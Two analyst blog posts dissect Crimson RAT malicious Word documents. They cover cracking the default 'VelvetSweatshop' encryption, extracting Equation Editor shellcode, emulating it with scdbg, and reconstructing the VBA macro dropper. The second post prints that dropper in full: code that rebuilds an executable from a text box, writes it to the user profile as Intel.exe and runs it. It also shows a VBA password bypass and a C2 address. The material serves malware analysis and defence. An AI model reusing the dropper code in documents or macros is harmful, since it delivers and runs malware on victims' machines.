Crimson Rat (02-24-2020): VelvetSweatshop and shellcode

A few days ago, @killamjr outlined the steps he used to analyze this document. I haven’t done much with using other tools like XORsearch or scdbg.exe so decided to give it a go.

It didn’t go so well. But thanks to @killamjr’s help, updating all of Didier Steven’s tools, and this SANS blog post, it all worked out fine. Let’s work through it.

First things first, let’s use oledump.py to see what lies underneath this document.

crimson01.png

Instead of macros or vbaProject.bin files, we see ‘EncryptedPackage’. This means that the document itself has been protected with a password. However, if we try to open the document it won’t prompt for a password at all. What can we do from here?

msoffcrypto-crack.py is a simple tool that can be used to crack passwords on MS documents. Running that tool gives us the password:

crimson02.png

VelvetSweatshop? There’s only one man who would have a password like that.

Velvet_jones.jpg
Why didn’t I name this blog the Velvet Jones School of Technology?

Anyway, even though we know the password, there’s no place for us to put it in the document so that we can get access to the macros like we normally would. But at this point we have two options.

We could run msoffcrypto-crack.py on the document and use the output option (-o) to save the cracked file. We could then use OfficeMalScanner with inflate to dump all of the macros and .bin files.

crimson04.png
Option 1: Output to cracked file and use OfficeMalScanner

Instead, we will be piping the output from msoffcrypto-crack.py directly into oledump.py. We will still need to make use of the output option (-o) as well as the ‘-‘ option to make the output go to stdout. All of that will get directed into oledump.py

crimson03.png
Option 2: Output directly into oledump.py

We can now see that streams A3 – A6 have macros. They might be worth investigating. Stream B3’s size may contain something interesting as well. But stream C2’s name is ‘EQuAtIOn NatiVE’. This can contain shellcode or other encoded commands. That one is definitely worth looking at.

To do so, we need to add a few more options to oledump.py. We want to select C2 (-s C2) and then dump (-d)  out to a file. We’ll call it oledump.bin.

crimson05.png

Running strings on oledump.bin doesn’t give us much of anything at all.

crimson06.png

This means that the .bin file is likely shell code. To decode the binary, we will be using the tool XORsearch.exe. From the website:

XORSearch is a program to search for a given string in an XOR, ROL, ROT or SHIFT encoded binary file… XORSearch will try all XOR keys (0 to 255),  ROL keys (1 to 7), ROT keys (1 to 25) and SHIFT keys (1 to 7) when searching.

We will also be using the -W option to make use of XORsearch’s built in signatures.

crimson07.png

It looks like a GetEIP instruction was found at position 0x2A7 without any encoding at all (XOR 00).

With our shellcode (oledump.bin) and offset (0x2A7) in hand, we can make us of a shellcode analyzer/emulator called scdbg.exe. There are two ways that we can use this. We can use the GUI to point it at oledump.bin, add the Start Offset, click Launch, and the decoded shellcode appears.

crimson08.png
scdbg: gui_launcher.exe

Or we can use the command line version of it. We just need to point it at the file (option -f) and also give it the offset of 2A7 (option -foff). we should be getting the same output.

crimson09.png
scdbg.exe with options -f and -foff

Note that we see the URL from which the file is going to be downloaded and also the location where it will be dropped.

Thanks for reading!

 

Crimson (01.06.2020) – Malicious Document

I was a bit surprised while investigating this document the other day. It has been a while since I’ve seen a malicious document where the executable is dropped directly from the document and executed as a child process of it. This also means that if the executable was dropped directly from the document, it is buried somewhere and we should try to find it.

Any.run identifies the dropped executable as Crimson, a RAT designed to exfiltrate a variety of data. It was used in 2016 against Indian diplomatic and military resources (Proofpoint) but has also popped up as recently as August 2019. This blog post from Proofpoint shows quite a few similarities between my specimen and theirs.


The Macro

First things first, let’s extract the macros (I used OfficeMalScanner). They were not obfuscated at all. Everything they would do was right out in the open. Here is the main one that does all of the heavy lifting. I’ll be splitting it up into three parts.

Public Sub Con()
	Dim BITy() As Byte
	Dim str() As String
	Dim Path As String
	Path = Environ$("USERPROFILE") & "\Intel.exe"
	str = Split(UserForm1.TextBox1.Text, "!")
	Dim Index As Double
	Index = 0
	For Each arr In str
		ReDim Preserve BITy(Index)
		BITy(Index) = CByte(arr)
		Index = Index + 1
		Next arr
		Create BITy
End Sub

We can see the path where the executable will drop and what it will be named, although that variable doesn’t seem to be used in this function. Even more interesting is the next line with variable str. It is taking the text in UserForm1.TextBox1 and splitting it on the exclamation point. The for each loop takes those characters and converts them to bytes numbered 0 – 255 (CByte) and tosses them into BITy.

Public Sub Create(bit() As Byte)
	Dim Path1 As String
	Path1 = Environ$("USERPROFILE") & "\Intel.exe"
	Open Path1 For Binary Access Write As #1
	Put #1, , bit
	Close 1
	Run
End Sub

Function Create is then fed the bytes from BITy. We can see the Path1 variable is similar to the one above, but in this case it is actually getting used. Path1 is opened as write access, the information is put there, and then closed. Function Run is then called.

Public Sub Run()
	Dim RunPath As Variant
	RunPath = Environ$("USERPROFILE") & "\Intel.exe"
	Dim RetVal
	RetVal = Shell(RunPath, 1)
End Sub

Function Run will actually… well, run the binary we dropped in RunPath. Good ol’ Shell sticks out like a sore thumb.


UserForm1.TextBox1.Text

We’ve seen other malicious documents make use of UserForms and text boxes before. In those cases, some long base-64 encoded strings were there and pieced together in the macro before they were executed by Powershell. Based on the macro analysis above, I don’t think that is going to be case here since that text is going to be dropped directly to disk and then executed. Let’s look and see what is in UserForm1.

Remember, to get in there, we’ll need to open the document. This means we’ll be prompted to ‘Enable Content’. At this point we can do one of two things.

  1. We can ‘Enable Content’ to trigger the macros and do some behavioral analysis to see parent/child process behaviors and see what files drop. After it has been opened, we can then press Alt+F11 to open the Microsoft VBA editor and investigate the macros. OR
  2. Use the vbashift trick as explained by @decalage2. While keeping the shift key on your keyboard pressed, open the document and also enable content. The shift key will disable automatic macro triggers. You can then press Alt+F11 to open the Microsoft VBA editor and examine the macros that way.

I chose option two and it worked like a charm… but the project is password protected.

ProjectPassword.png

This means we need to get rid of that password. Using the technique described here, I edited the file in a hex editor to bypass the project password, re-opened the document, ignored the errors, un-protected the project, saved the changes, and re-opened the document. Here are the results:

userform1.png

UserForm1 contains a string of characters interspersed with exclamation points. This makes sense considering the macro we investigated above (convenient, right?). That text gets split by the exclamation points, each is gathered into a variable, the variable gets dropped as a binary, and that dropped binary gets executed. In fact, if you take the first two numbers shown in UserForm1 (77 and 90), and convert them to ASCII, you’ll see they are the characters MZ.

Where does the dropped executable land?

intel_location.png

As expected, Intel.exe gets dropped at C:\Users\[user account]\Intel.exe. It is also a child process of WINWORD.EXE.


Intel.exe

What exactly does Intel.exe do? Looking at the Any.run output, we can see traffic headed 23.106.122.194. Following the TCP stream in Wireshark, commands (in blue) are sent from 23.106.122.194 and information (in red) is returned.

traffic.png

Thanks for reading!